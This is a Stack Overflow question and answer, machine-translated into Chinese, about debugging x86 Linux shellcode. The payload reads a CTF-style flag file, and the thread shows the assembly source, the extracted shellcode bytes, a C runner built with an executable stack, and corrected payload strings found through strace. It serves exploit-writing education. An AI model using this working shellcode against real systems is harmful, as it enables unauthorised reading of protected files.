【问题标题】:Shellcode doesn't work when pulled out of binary退出二进制文件时,Shellcode 不起作用
【发布时间】:2019-04-15 23:51:08
【问题描述】:

我正在学习编写 shellcode 并尝试读取文件(在本例中为 /flag/level1.flag)。此文件包含一个字符串。

通过在线查看教程,我想出了以下shellcode。它打开文件,逐字节读取(将每个字节压入堆栈),然后写入 stdout 并提供指向堆栈顶部的指针。

section .text

global _start

_start:
    jmp ender

starter:
    pop ebx                     ; ebx -> ["/flag/level1.flag"]
    xor eax, eax 
    mov al, 0x5                 ; open()
    int 0x80
    mov esi, eax                ; [file handle to flag]
    jmp read

exit:
    xor eax, eax 
    mov al, 0x1               ; exit()
    xor ebx, ebx                ; return code: 0
    int 0x80

read:
    xor eax, eax 
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    mov dl, 0x1                ; read 1 byte
    int 0x80

    xor ebx, ebx 
    cmp eax, ebx 
    je exit                     ; if read() returns 0x0, exit

    xor eax, eax 
    mov al, 0x4                 ; write()
    mov bl, 0x1                 ; stdout
    int 0x80
    inc esp 
    jmp read                  ; loop

ender:
    call starter
    string: db "/flag/level1.flag"

这是我编译和测试它的方法:

nasm -f elf -o test.o test.asm
ld -m elf_i386 -o test test.o

当我运行./test 时,我得到了预期的结果。现在,如果我从二进制文件中提取 shellcode 并在精简的 C 运行程序中对其进行测试:

char code[] = \
"\xeb\x30\x5b\x31\xc0\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xcb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67";


int main(int argc, char **argv){
    int (*exeshell)();
    exeshell = (int (*)()) code;
    (int)(*exeshell)();
}

编译如下:

gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c 

然后运行它,我看到我正确读取了文件,但随后继续将垃圾打印到终端(我必须 Ctrl+C)。

我猜这与read() 没有遇到\x00 有关,因此继续从堆栈打印数据,直到找到空标记。那是对的吗?如果是这样,为什么编译后的二进制文件可以工作?

【问题讨论】:

  • 您是否尝试过在strace ./a.out 下运行您的程序,用于 asm 版本与 shellcode 版本?或者在 GDB 下运行它们以确保 shellcode 正确反汇编?实际上,您可以使用 objdump -DrwC -Mintel 检查以反汇编可执行文件的所有部分。

标签: linux assembly x86 nasm shellcode


【解决方案1】:

TL;DR:在目标可执行文件中作为漏洞运行时,切勿假设寄存器的状态。如果您需要将整个寄存器清零,您必须自己完成。独立运行和在运行程序中运行的行为可能会有所不同,具体取决于漏洞开始执行时寄存器中的内容。


如果您正确构建 C 代码以确保堆栈是可执行的,并且您构建了 32 位漏洞利用程序并在 32 位可执行文件中运行它(就像您所做的那样),主要原因是如果您没有正确地将寄存器归零,则如果不是独立的,事情可能会失败。作为独立程序,许多寄存器可能为 0 或在高 24 位中为 0,而在运行的程序中可能并非如此。这可能会导致您的系统调用行为不同。

调试 shell 代码的最佳工具之一是像 GDB 这样的调试器。您可以在系统调用 (int 0x80) 之前逐步检查您的漏洞并查看注册状态。在这种情况下,更简单的方法是 STRACE 工具(系统跟踪)。它将显示所有系统调用和程序发出的参数。

如果您在 /flag/level1.flag 包含的独立程序上运行 strace ./test >output

test

您可能会看到 STRACE 输出类似于:

execve("./test", ["./test"], [/* 26 vars */]) = 0
strace: [ Process PID=25264 runs in 32 bit mode. ]
open("/flag/level1.flag", O_RDONLY)     = 3
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "e", 1)                         = 1
write(1, "e", 1)                        = 1
read(3, "s", 1)                         = 1
write(1, "s", 1)                        = 1
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "\n", 1)                        = 1
write(1, "\n", 1
)                       = 1
read(3, "", 1)                          = 0
exit(0)                                 = ?
+++ exited with 0 +++

我将标准输出重定向到文件output,这样它就不会弄乱STRACE 输出。您可以看到文件 /flag/level1.flagO_RDONLY 的形式打开,并返回了文件描述符 3。然后,您一次读取 1 个字节并将其写入标准输出(文件描述符 1)。 output 文件包含 /flag/level1.flag 中的数据。

现在在您的 shellcode 程序上运行 STRACE 并检查差异。在读取标志文件之前忽略所有系统调用,因为这些是shellcode 程序在受到您的利用之前直接或间接进行的系统调用。输出可能看起来不完全一样,但可能相似。

open("/flag/level1.flag", O_RDONLY|O_NOCTTY|O_TRUNC|O_DIRECT|O_LARGEFILE|O_NOFOLLOW|O_CLOEXEC|O_PATH|O_TMPFILE|0xff800000, 0141444) = -1 EINVAL (Invalid argument)
read(-22, 0xffeac2cc, 4293575425)       = -1 EBADF (Bad file descriptor)
write(1, "\211\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0"..., 4293575425) = 4096
read(-22, 0xffeac2cd, 4293575425)       = -1 EBADF (Bad file descriptor)
write(1, "\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0\206"..., 4293575425) = 4096
[snip]

您应该注意到打开失败并显示-1 EINVAL (Invalid argument),并且如果您观察传递给打开的标志,那么还有很多 O_RDONLY。这表明 ECX 中的第二个参数可能没有正确归零。如果你看看你的代码,你有这个:

pop ebx                     ; ebx -> ["/flag/level1.flag"]
xor eax, eax 
mov al, 0x5                 ; open()
int 0x80

您没有将 ECX 设置为任何值。在实际程序中运行时,ECX 不为零。修改代码为:

pop ebx                     ; ebx -> ["/flag/level1.flag"]
xor eax, eax 
xor ecx, ecx
mov al, 0x5                 ; open()
int 0x80

现在用这个修复生成 shellcode 字符串,它可能看起来像:

\xeb\x32\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\ x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\ x80\x44\xeb\xe3\xe8\xc9\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\ x67

再次使用 STRACE 在您的 shellcode 程序中运行此 shell 字符串,输出可能类似于:

open("/flag/level1.flag", O_RDONLY|O_EXCL|O_APPEND|O_DSYNC|0xff800000) = 3
read(3, "test\n", 4286583809)           = 5
write(1, "test\n\0\0\0\24\25\200\377\34\25\200\377@\0bV\334\363r\367\200\24\200\
377\0\0\0\0"..., 4286583809) = 4096

这样比较好,但还是有问题。要读取的字节数(第三个参数)是 4286583809(您的值可能不同)。假设您的独立代码一次读取 1 个字节。这表明 EDX 的高 24 位可能没有正确归零。如果您查看您所做的代码:

read:
    xor eax, eax 
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    mov dl, 0x1                 ; read 1 byte
    int 0x80

在这部分代码(或之前)中,在将 1 放入 DL 之前,您不会将 EDX 清零。你可以这样做:

read:
    xor eax, eax
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    xor edx, edx                ; Zero all of EDX
    mov dl, 0x1                 ; read 1 byte
    int 0x80

现在用这个修复生成 shellcode 字符串,它可能看起来像:

\xeb\x34\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\ x31\xc0\xb0\x03\x89\xf3\x89\xe1\x31\xd2\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe4\x31\xc0\xb0\x04\xb3\ x01\xcd\x80\x44\xeb\xe1\xe8\xc7\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\ x6c\x61\x67

再次使用 STRACE 在您的 shellcode 程序中运行此 shell 字符串,输出可能类似于:

open("/flag/level1.flag", O_RDONLY)     = 3
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "e", 1)                         = 1
write(1, "e", 1)                        = 1
read(3, "s", 1)                         = 1
write(1, "s", 1)                        = 1
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "\n", 1)                        = 1
write(1, "\n", 1)                       = 1
read(3, "", 1)                          = 0

这会产生所需的行为。查看其余的汇编代码,在任何其他寄存器和系统调用上都没有出现这个错误。使用 GDB 会在每次系统调用之前向您显示有关寄存器状态的类似信息。您会发现寄存器并不总是具有预期值。

【讨论】:

  • 这是一个很棒的答案!非常感谢。
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